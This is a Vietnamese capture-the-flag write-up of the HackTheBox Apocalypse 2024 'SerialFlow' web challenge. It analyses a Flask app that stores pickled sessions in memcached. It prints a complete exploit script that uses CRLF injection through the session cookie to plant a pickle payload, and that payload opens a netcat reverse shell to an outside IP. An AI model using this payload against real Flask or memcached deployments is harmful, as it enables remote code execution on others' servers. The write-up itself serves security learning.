[Writeup] Web SerialFlow - Hackthebox Apocalypse 2024
Đợt vừa rồi mình cùng các teammate có tham gia Hackthebox Apocalypse 2024. Sự kiện được open vào cuối tuần nhưng mà chẳng có ae nào tham gia, đành phải tham gia vào lúc sự kiện đã kết thúc và được reopen 😂. Tại đây có một challenge khá là "kì lạ" nên mình muốn chia sẻ tới mọi người.
Challenge này có thể download tại https://github.com/hackthebox/cyber-apocalypse-2024/raw/main/web/[Medium] SerialFlow/release/web_serialflow.zip
Description
- SerialFlow is the main global network used by KORP, you have managed to reach a root server web interface by traversing KORP's external proxy network. Can you break into the root server and open pandoras box by revealing the truth behind KORP?
Level
- Medium
Tổng quan
Sau khi tải source code về, sẽ có cấu trúc thư mục như sau:
CTF/cyber-apocalypse-2024/web_serialflow
➜ tree .
.
├── build-docker.sh
├── challenge
│ ├── application
│ │ ├── app.py
│ │ └── templates
│ │ └── index.html
│ ├── requirements.txt
│ └── run.py
├── conf
│ └── supervisord.conf
├── Dockerfile
├── entrypoint.sh
└── flag.txt
5 directories, 9 files
Chỉ cần chạy ./build-docker.sh
và sau đó script sẽ làm công việc của nó. Sau khi chạy xong, website sẽ được chạy tại http://localhost:1337/ với một UI rất chất lượng ở đây được viết bằng javascript 😂
Đọc sơ qua source code, app được viết bằng python flask, được cài đặt các packages
RUN apk update && apk add --no-cache --update memcached libmemcached-dev zlib-dev build-base supervisor
Và các lib python
Flask==2.2.2
Flask-Session==0.4.0
pylibmc==1.6.3
Werkzeug==2.2.2
Config supervisor như sau
[supervisord]
user=root
nodaemon=true
logfile=/dev/null
logfile_maxbytes=0
pidfile=/run/supervisord.pid
[program:flask]
command=python /app/run.py
user=root
autorestart=true
stdout_logfile=/dev/stdout
stdout_logfile_maxbytes=0
stderr_logfile=/dev/stderr
stderr_logfile_maxbytes=0
[program:memcached]
command=memcached -u memcache -m 64
user=memcached
autorestart=true
stdout_logfile=/dev/stdout
stdout_logfile_maxbytes=0
stderr_logfile=/dev/stderr
stderr_logfile_maxbytes=0
Phân tích
Ở đây ta có thể thấy rằng, app được code bằng python flask, có sử dụng memcached, và tại sao lại sử dụng memcached thì trong đoạn code có rõ ràng:
app = Flask(__name__)
app.secret_key = uuid.uuid4()
app.config["SESSION_TYPE"] = "memcached"
app.config["SESSION_MEMCACHED"] = pylibmc.Client(["127.0.0.1:11211"])
app.config.from_object(__name__)
Session(app)
Sau một hồi research, thì biết rằng Memcached này được sử dụng trong Flask giúp cải thiện hiệu suất ứng dụng, giảm thời gian phản hồi và dễ dàng quản lý bộ nhớ, đồng thời cũng tạo điều kiện cho việc mở rộng hệ thống trong tương lai (theo ChatGPT ...)
Vậy memcached này được sử dụng để lưu trữ session cho flask, giúp flask chạy nhanh hơn, bên dưới đoạn code còn có đoạn set màu cho giao diện web, được lưu trữ giá trị vào trong session.
@app.route("/set")
def set():
uicolor = request.args.get("uicolor")
if uicolor:
session["uicolor"] = uicolor
return redirect("/")
Mình cũng mất một hồi quanh quẩn ở đây, dự định tấn công SSTI với biến uicolor
nhưng không thành công
Và cuối cùng có thể tìm ra chân lý với
Đọc một hồi bài viết https://btlfry.gitlab.io/notes/posts/memcached-command-injections-at-pylibmc/, thì mình chắc chắn đến 100% luôn rằng có thể khai thác với cách này vì source codo demo https://github.com/d0ge/proof-of-concept-labs/blob/main/pylibmc-flask-session/application.py với chall này quá giống nhau.
Đi sâu thêm một chút vào sessions.py
của lib flask_session
có thể thấy được đoạn sau:
class MemcachedSessionInterface(SessionInterface):
serializer = pickle
session_class = MemcachedSession
...
def save_session(self, app, session, response):
...
full_session_key = self.key_prefix + session.sid
...
if not PY2:
val = self.serializer.dumps(dict(session), 0)
else:
val = self.serializer.dumps(dict(session))
self.client.set(full_session_key, val, self._get_memcache_timeout(
total_seconds(app.permanent_session_lifetime)))
...
Trong sessions.py
của thư viện flask_session
, có MemcachedSessionInterface
class, đảm nhiệm việc quản lý Session sử dụng Memcached. Đoạn code trên là hàm save_session
của class này, được dùng để lưu trữ dữ liệu Session vào Memcached.
Phương thức này tạo ra full_session_key
sử dụng một key prefix và Session ID. Sau đó, nó sử dụng serializer pickle để serializer data session và lưu trữ nó vào Memcached thông qua phương thức set
của client Memcached.
Sau khi lưu được session vào trong Memcached, phương thức open_session
sẽ lấy full_session_key
từ Memcached ra và đưa vào serializer.loads()
. Do không có biện pháp bảo vệ nào => trigger RCE
def open_session(self, app, request):
...
full_session_key = self.key_prefix + sid
...
val = self.client.get(full_session_key)
if val is not None:
...
data = self.serializer.loads(val) # RCE vulnerability here
...
Tuy nhiên, để có thể control được full_session_key
, lưu được payload vào Memcached để có thể RCE thì cần sử dụng thêm kỹ thuật nữa, đó là kỹ thuật CRLF. Nhưng để áp dụng được kỹ thuật này với session, cần phải encode \r\n
thành \015\012
(bạn đọc có thể đọc source code python xử lý cookie tại https://github.com/enthought/Python-2.7.3/blob/master/Lib/Cookie.py)
Ví dụ: với cookie = '1\r\nget 2\r\nget 3'
encode thành "1\015\012get 2\015\012get 3"
gửi tới server => break được lệnh như hình dưới.
Vậy ta có thể set giá trị bất kỳ tới Memcached
Điều này có được nói rõ ràng trong blog mà mình đề cập bên trên. Để rõ hơn mọi người nên đọc blog trên nhé
Flow sẽ như sau:
- Lợi dụng
full_session_key
chứa payload, kết hợp với việc sử dụng CLRF để có thể set payload vào Memcached,flask_session
đọc session đã chứa payload từ Memcached => Pickle RCE
Đoạn code exploit được lấy từ bài viết gốc, mình chỉnh sửa lại một chút
import pickle
import os
class RCE:
def __reduce__(self):
cmd = ('nc 172.30.58.249 12312 -e /bin/sh')
return os.system, (cmd,)
def generate_exploit():
payload = pickle.dumps(RCE(), 0)
payload_size = len(payload)
cookie = b'1\r\nset 1 0 2592000 '
cookie += str.encode(str(payload_size))
cookie += str.encode('\r\n')
cookie += payload
cookie += str.encode('\r\n')
cookie += str.encode('get 1')
pack = ''
for x in list(cookie):
if x > 64:
pack += oct(x).replace("0o","\\")
elif x < 8:
pack += oct(x).replace("0o","\\00")
else:
pack += oct(x).replace("0o","\\0")
return f"\"{pack}\""
x = generate_exploit()
print(x)
CTF/cyber-apocalypse-2024/web_serialflow via 🐍 v2.7.18
➜ python3 exploit.py
"\061\015\012\163\145\164\040\061\040\060\040\062\065\071\062\060\060\060\040\066\065\015\012\143\160\157\163\151\170\012\163\171\163\164\145\155\012\160\060\012\050\126\156\143\040\061\067\062\056\063\060\056\065\070\056\062\064\071\040\061\062\063\061\062\040\055\145\040\057\142\151\156\057\163\150\012\160\061\012\164\160\062\012\122\160\063\012\056\015\012\147\145\164\040\061"
Truyền giá trị session nhận được vào request như hình dưới (lưu ý cần gửi 2 lần request liên tục, 1 lần là set payload vào trong memcached, 1 lần để flask đọc session)
Và RCE
Note: Có thể bật debug Memcached để kiểm tra nội dung được lưu trong Memcached thông qua chỉnh sửa file
supervisor.conf
command=memcached -u memcache -m 64 -vvv
All rights reserved